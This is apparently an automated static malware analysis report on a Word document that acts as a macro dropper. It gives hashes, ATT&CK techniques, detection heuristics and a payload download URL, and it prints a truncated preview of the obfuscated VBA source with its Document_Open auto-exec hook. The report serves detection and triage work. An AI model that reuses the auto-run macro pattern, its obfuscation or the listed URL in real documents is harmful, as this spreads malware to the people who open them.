Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3c371c1f9e35089d…

MALICIOUS

Office (OOXML)

32.1 KB Created: 2018-10-12 12:56:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-01-11
MD5: 729d36720463db5caa6b37ff971eea6d SHA-1: 07c1463ac66d198407f092ef9a7ae38364fc4f9f SHA-256: 3c371c1f9e35089dc00d64ad247ae8eab5afb92c0d2b06cd4417ca22a10b1d66
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro executes an obfuscated shell command that references a URL, indicating it's designed to download and execute a second-stage payload. This behavior is consistent with a macro-based dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-7345808-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7345808-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.adoveupdate365manager.co/Apogklf46546.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 23134 bytes
SHA-256: ec2b50c7ded30a60f27ec8ac60d95677eacffb8f943f27fa598aeb6a317b5275
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 19 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Const MJwroQkhjPmCYNpREbPErpxPqAvUNFiDKnTWAAKaqMncGOLEYPcXDTqcW = 21987376
Private Const KhdsVzOVeQYhuGoWcs8831 = 6
Const EBWMgBnVQTehirPDHnMF5820 = 94
Private Const FQpejoaHFzZLnGpz = 7
Const BAjpqeDgiQnwOeLfptigjcBrrlHPlrUXkrV17498659006785 = 6
Private Const pWLgrIFogrcprFInVwrie21987376 = 31
Const yjUtslSFfKIqWNav584924 = 346817
Private Const PqzmyebBLAxJyCcR65088712784478 = 4
Const JwZgbCUrTGOMloZCRG11 = 584924
Private Const vOWqsCUejGXfsjDh4 = 5820
Const lMyTXZYAeyMNEcXuGGreqOCJpZRqLQHWilaFzShSYUrlHndqnRt = 3356
Private Const vYXUECqCFjSVJJZSh1355 = 1
Const IWJpexHhpOqqfTBRzijXZoYzDFHwgBrpo267866 = 80
Private Const aXdAWMccVBGSpIBdGVqW = 3
Const BBsqxVsoJKCbwnoCHcpqAFeS562096040251 = 1
Private Const cDwGtaNWMbMPDzUrKqjKVUyJlYqKAo3356 = 53
Const HqxEFTzWveQfkQxX006785066 = 792
Private Const CIULVvvDVCTHVcUvYsZN118815175717 = 5088712
Const NGolGXkSwWpIrzlQzEaAZq9865 = 6785066
Private Const GLZyunaCnffAFVBAMBEF5088712 = 267866
Const FMNzUrerbHdaJJaJEmAhmfrgJlKqBMoQwDUDvWjhdjNkH = 35791208
Private Const tNatdLUBObMwAjqUyzNPTzJT3758 = 1
Const aXgnaUgpxyQRheSGHvzwImRrRhsSuDtE6335134 = 91
Private Const GDBYWTgQbLoxsJoFxiUJ = 4
Const EKXioFpWsbNutEMKgce37777907186057 = 1
Private Const BConNoGgGDlaDQUvJ035791208 = 82
Const jenyczXCkDEBwwHjxmWi957964475 = 210209033
Private Const PTkItkiOEcScEIAYakiT8504039496 = 5010018
Const jRRgYuWmfkpKHeRVdGghBZ5186378 = 957964475
Private Const boBZADBDxWnyVVZsxMKG05010018 = 6335134
Const mSnoduyEHmbbnuhRhsBBWbqdmuxljYGcPtxiDTrUXqGqVI = 48
Private Const nZYgazmTOylkuegShhfC6851 = 3
Const KLCiWDGLcKBjfKfiFBcBaTTwHHXpJIvGrPd118815175 = 48
Private Const uXyaBiEkpnucxvYulrzy = 8
Const GbPfRBTOurPgSMHxgVSgfMFrDoahQDqr47490119608 = 3
Private Const VyDwfImnjBPTBjbfDBYr48 = 60
Const xcKbhlyNvwSjifXEDcQR698000 = 1
Private Const alYeKcYZmmuuYnQghzbB252209382861 = 1719079
Const aXpHIIOGnEFxwdLMCGZnRN12729 = 698000
Private Const QxnNeMMvfjdjJXvAixBe1719079 = 118815175



Private Sub Document_Open()
Call mjbcXWEsxHSDsciGRsMKga
End Sub

Private Sub mjbcXWEsxHSDsciGRsMKga()
Dim JPBqYLEdTkmHzcD

Dim eIFdihYYnmrifLIQZdJRmDg

Application.Run "TSqxvIu.JYNypqqjc"

Dim HeoaRUiyFwErYMTcqdDmUWyIbViV

Dim fSgotEsLHILDchbIRjzdq

End Sub




Attribute VB_Name = "TSqxvIu"
Const MJwroQkhjPmCYNpREbPErpxPqAvUNFiDKnTWAAKaqMncGOLEYPcXDTqcW = 21987376
Private Const KhdsVzOVeQYhuGoWcs8831 = 6
Const EBWMgBnVQTehirPDHnMF5820 = 94
Private Const FQpejoaHFzZLnGpz = 7
Const BAjpqeDgiQnwOeLfptigjcBrrlHPlrUXkrV17498659006785 = 6
Private Const pWLgrIFogrcprFInVwrie21987376 = 31
Const yjUtslSFfKIqWNav584924 = 346817
Private Const PqzmyebBLAxJyCcR65088712784478 = 4
Const JwZgbCUrTGOMloZCRG11 = 584924
Private Const vOWqsCUejGXfsjDh4 = 5820
Const lMyTXZYAeyMNEcXuGGreqOCJpZRqLQHWilaFzShSYUrlHndqnRt = 3356
Private Const vYXUECqCFjSVJJZSh1355 = 1
Const IWJpexHhpOqqfTBRzijXZoYzDFHwgBrpo267866 = 80
Private Const aXdAWMccVBGSpIBdGVqW = 3
Const BBsqxVsoJKCbwnoCHcpqAFeS562096040251 = 1
Private Const cDwGtaNWMbMPDzUrKqjKVUyJlYqKAo3356 = 53
Const HqxEFTzWveQfkQxX006785066 = 792
Private Const CIULVvvDVCTHVcUvYsZN118815175717 = 5088712
Const NGolGXkSwWpIrzlQzEaAZq9865 = 6785066
Private Const GLZyunaCnffAFVBAMBEF5088712 = 267866
Const FMNzUrerbHdaJJaJEmAhmfrgJlKqBMoQwDUDvWjhdjNkH = 35791208
Private Const tNatdLUBObMwAjqUyzNPTzJT3758 = 1
Const aXgnaUgpxyQRheSGHvzwImRrRhsSuDtE6335134 = 91
Private Const GDBYWTgQbLoxsJoFxiUJ = 4
Const EKXioFpWsbNutEMKgce37777907186057 = 1
Private Const BConNoGgGDlaDQUvJ035791208 = 82
Const jenyczXCkDEBwwHjxmWi957964475 = 210209033
Private Const PTkItkiOEcScEIAYakiT8504039496 = 5010018
Const jRRgYuWmfkpKHeRVdGghBZ5186378 = 957964475
Private Const boBZADBDxWnyVVZsxMKG05010018 = 6335134
Const mSnoduyEHmbbnuhRhsBBWbqdmuxljYGcPtxiDTrU
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 51200 bytes
SHA-256: 8b181b8fc4890cb1605d6fdd1eef315823ba62ea24afc36211b5faee61d2fbde
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 19 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.